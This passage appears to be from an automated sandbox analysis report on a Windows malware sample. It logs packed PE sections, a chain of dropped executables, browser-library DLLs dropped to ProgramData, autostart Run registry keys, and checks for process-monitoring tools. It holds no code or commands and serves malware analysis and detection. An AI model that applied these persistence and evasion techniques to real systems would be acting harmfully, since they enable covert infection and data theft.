Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Detected unpacking (changes PE section rights)

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static file information: File size 1903616 > 1048576

Source: file.exe

Static PE information: Raw size of luuuoucb is bigger than: 0x100000 < 0x19ee00

Source:	Binary string: softokn3.pdb@ source: softokn3.dll.10.dr, softokn3[1].dll.10.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.10.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 074873f122.exe, 00000008.00000003.2770200524.0000000008920000.00000004.00001000.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000002.2918045311.0000000006842000.00000040.00000800.00020000.00000000.sdmp, 2a8ef8d829.exe, 0000001C.00000002.2858870560.0000000000CA2000.00000040.00000001.01000000.00000013.sdmp, 2a8ef8d829.exe, 0000001C.00000003.2717928072.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, 2a8ef8d829.exe, 00000025.00000002.2953903027.0000000000CA2000.00000040.00000001.01000000.00000013.sdmp, 2a8ef8d829.exe, 00000025.00000003.2907998057.0000000004870000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.10.dr, softokn3[1].dll.10.dr

Data Obfuscation

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;luuuoucb:EW;eogwbmei:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;luuuoucb:EW;eogwbmei:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;luuuoucb:EW;eogwbmei:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;luuuoucb:EW;eogwbmei:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;luuuoucb:EW;eogwbmei:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;luuuoucb:EW;eogwbmei:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Unpacked PE file: 8.2.074873f122.exe.fa0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qqnpmrdy:EW;swjrogvg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qqnpmrdy:EW;swjrogvg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Unpacked PE file: 28.2.2a8ef8d829.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W;ihewwctv:EW;macjzflx:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Unpacked PE file: 37.2.2a8ef8d829.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W;ihewwctv:EW;macjzflx:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x43d021 should be: 0x4377d4
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: real checksum: 0x1d56fe should be: 0x1d659a
Source: 074873f122.exe.6.dr	Static PE information: real checksum: 0x1d4765 should be: 0x1d7ebc
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d56fe should be: 0x1d659a
Source: 7afc94686a.exe.6.dr	Static PE information: real checksum: 0x1b5b36 should be: 0x1bbb9d
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d4765 should be: 0x1d7ebc
Source: 02e4e14003.exe.6.dr	Static PE information: real checksum: 0x43d021 should be: 0x4377d4
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1b5b36 should be: 0x1bbb9d
Source: 2a8ef8d829.exe.6.dr	Static PE information: real checksum: 0x2af9f8 should be: 0x2a8c26
Source: random[2].exe.10.dr	Static PE information: real checksum: 0x1d56fe should be: 0x1d659a
Source: f72eb1bfa4.exe.6.dr	Static PE information: real checksum: 0x1b5b36 should be: 0x1bbb9d
Source: file.exe	Static PE information: real checksum: 0x1d56fe should be: 0x1d659a
Source: 47f677ba64.exe.6.dr	Static PE information: real checksum: 0x2af9f8 should be: 0x2a8c26
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x2af9f8 should be: 0x2a8c26

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: luuuoucb
Source: file.exe	Static PE information: section name: eogwbmei
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: luuuoucb
Source: skotes.exe.0.dr	Static PE information: section name: eogwbmei
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: byaebdxw
Source: random[1].exe.6.dr	Static PE information: section name: ccdsmily
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 02e4e14003.exe.6.dr	Static PE information: section name:
Source: 02e4e14003.exe.6.dr	Static PE information: section name: .rsrc
Source: 02e4e14003.exe.6.dr	Static PE information: section name: .idata
Source: 02e4e14003.exe.6.dr	Static PE information: section name:
Source: 02e4e14003.exe.6.dr	Static PE information: section name: byaebdxw
Source: 02e4e14003.exe.6.dr	Static PE information: section name: ccdsmily
Source: 02e4e14003.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: qqnpmrdy
Source: random[1].exe0.6.dr	Static PE information: section name: swjrogvg
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 074873f122.exe.6.dr	Static PE information: section name:
Source: 074873f122.exe.6.dr	Static PE information: section name: .rsrc
Source: 074873f122.exe.6.dr	Static PE information: section name: .idata
Source: 074873f122.exe.6.dr	Static PE information: section name:
Source: 074873f122.exe.6.dr	Static PE information: section name: qqnpmrdy
Source: 074873f122.exe.6.dr	Static PE information: section name: swjrogvg
Source: 074873f122.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: tcmgcthi
Source: random[1].exe1.6.dr	Static PE information: section name: suhmtczi
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 7afc94686a.exe.6.dr	Static PE information: section name:
Source: 7afc94686a.exe.6.dr	Static PE information: section name: .idata
Source: 7afc94686a.exe.6.dr	Static PE information: section name:
Source: 7afc94686a.exe.6.dr	Static PE information: section name: tcmgcthi
Source: 7afc94686a.exe.6.dr	Static PE information: section name: suhmtczi
Source: 7afc94686a.exe.6.dr	Static PE information: section name: .taggant
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name:
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name: .idata
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name:
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name: tcmgcthi
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name: suhmtczi
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: ihewwctv
Source: random[2].exe.6.dr	Static PE information: section name: macjzflx
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 2a8ef8d829.exe.6.dr	Static PE information: section name:
Source: 2a8ef8d829.exe.6.dr	Static PE information: section name: .idata
Source: 2a8ef8d829.exe.6.dr	Static PE information: section name: ihewwctv
Source: 2a8ef8d829.exe.6.dr	Static PE information: section name: macjzflx
Source: 2a8ef8d829.exe.6.dr	Static PE information: section name: .taggant
Source: 47f677ba64.exe.6.dr	Static PE information: section name:
Source: 47f677ba64.exe.6.dr	Static PE information: section name: .idata
Source: 47f677ba64.exe.6.dr	Static PE information: section name: ihewwctv
Source: 47f677ba64.exe.6.dr	Static PE information: section name: macjzflx
Source: 47f677ba64.exe.6.dr	Static PE information: section name: .taggant
Source: unmYCIPOHmXNjqOesrEy.dll.7.dr	Static PE information: section name: .eh_fram
Source: service123.exe.7.dr	Static PE information: section name: .eh_fram
Source: freebl3.dll.10.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.10.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.10.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.10.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.10.dr	Static PE information: section name: .didat
Source: nss3.dll.10.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.10.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: random[2].exe.10.dr	Static PE information: section name:
Source: random[2].exe.10.dr	Static PE information: section name: .idata
Source: random[2].exe.10.dr	Static PE information: section name:
Source: random[2].exe.10.dr	Static PE information: section name: luuuoucb
Source: random[2].exe.10.dr	Static PE information: section name: eogwbmei
Source: random[2].exe.10.dr	Static PE information: section name: .taggant
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name:
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name: .idata
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name:
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name: luuuoucb
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name: eogwbmei
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name: .taggant
Source: gmpopenh264.dll.tmp.25.dr	Static PE information: section name: .rodata

Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9CDD4 pushfd ; ret	8_3_01A9CDDD
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B12D push edx; ret	8_3_01A9B156
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9C71E push ebp; ret	8_3_01A9C71F
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B564 push ss; retf	8_3_01A9B59A
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B157 push edx; ret	8_3_01A9B156
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9C618 push esi; retf	8_3_01A9C636
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B26C push ss; retf	8_3_01A9B26E
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9CDD4 pushfd ; ret	8_3_01A9CDDD
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B12D push edx; ret	8_3_01A9B156
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9C71E push ebp; ret	8_3_01A9C71F
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B564 push ss; retf	8_3_01A9B59A
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B157 push edx; ret	8_3_01A9B156
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9C618 push esi; retf	8_3_01A9C636
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B26C push ss; retf	8_3_01A9B26E
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9CDD4 pushfd ; ret	8_3_01A9CDDD
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B12D push edx; ret	8_3_01A9B156
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9C71E push ebp; ret	8_3_01A9C71F
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B564 push ss; retf	8_3_01A9B59A
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B157 push edx; ret	8_3_01A9B156
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9C618 push esi; retf	8_3_01A9C636
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 8_3_01A9B26C push ss; retf	8_3_01A9B26E
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 11_3_01AAF624 pushad ; ret	11_3_01AAF625
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 11_3_01AAF73C push es; retf	11_3_01AAFB5A
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 11_3_01AAEBB4 push eax; retf	11_3_01AAEBB5
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 11_3_01AAF624 pushad ; ret	11_3_01AAF625
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 11_3_01AAF73C push es; retf	11_3_01AAFB5A
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Code function: 11_3_01AAEBB4 push eax; retf	11_3_01AAEBB5

Source: file.exe	Static PE information: section name: entropy: 7.986035302117713
Source: file.exe	Static PE information: section name: luuuoucb entropy: 7.954738688708922
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.986035302117713
Source: skotes.exe.0.dr	Static PE information: section name: luuuoucb entropy: 7.954738688708922
Source: random[1].exe.6.dr	Static PE information: section name: byaebdxw entropy: 7.956149987397859
Source: 02e4e14003.exe.6.dr	Static PE information: section name: byaebdxw entropy: 7.956149987397859
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.981756978822676
Source: random[1].exe0.6.dr	Static PE information: section name: qqnpmrdy entropy: 7.954555010788049
Source: 074873f122.exe.6.dr	Static PE information: section name: entropy: 7.981756978822676
Source: 074873f122.exe.6.dr	Static PE information: section name: qqnpmrdy entropy: 7.954555010788049
Source: random[1].exe1.6.dr	Static PE information: section name: tcmgcthi entropy: 7.953211456114112
Source: 7afc94686a.exe.6.dr	Static PE information: section name: tcmgcthi entropy: 7.953211456114112
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name: tcmgcthi entropy: 7.953211456114112
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.817006744565816
Source: 2a8ef8d829.exe.6.dr	Static PE information: section name: entropy: 7.817006744565816
Source: 47f677ba64.exe.6.dr	Static PE information: section name: entropy: 7.817006744565816
Source: random[2].exe.10.dr	Static PE information: section name: entropy: 7.986035302117713
Source: random[2].exe.10.dr	Static PE information: section name: luuuoucb entropy: 7.954738688708922
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name: entropy: 7.986035302117713
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name: luuuoucb entropy: 7.954738688708922

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

File created: C:\Users\user\DocumentsJDGCFBAFBF.exe

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\Users\user\DocumentsJDGCFBAFBF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File created: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007503001\65c2c3d4c3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007504001\47f677ba64.exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

File created: C:\Users\user\DocumentsJDGCFBAFBF.exe

Creates multiple autostart registry keys

Boot Survival

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 074873f122.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7afc94686a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a8ef8d829.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ad0f88d42c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f72eb1bfa4.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

File created: C:\Users\user\DocumentsJDGCFBAFBF.exe

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass	Jump to behavior
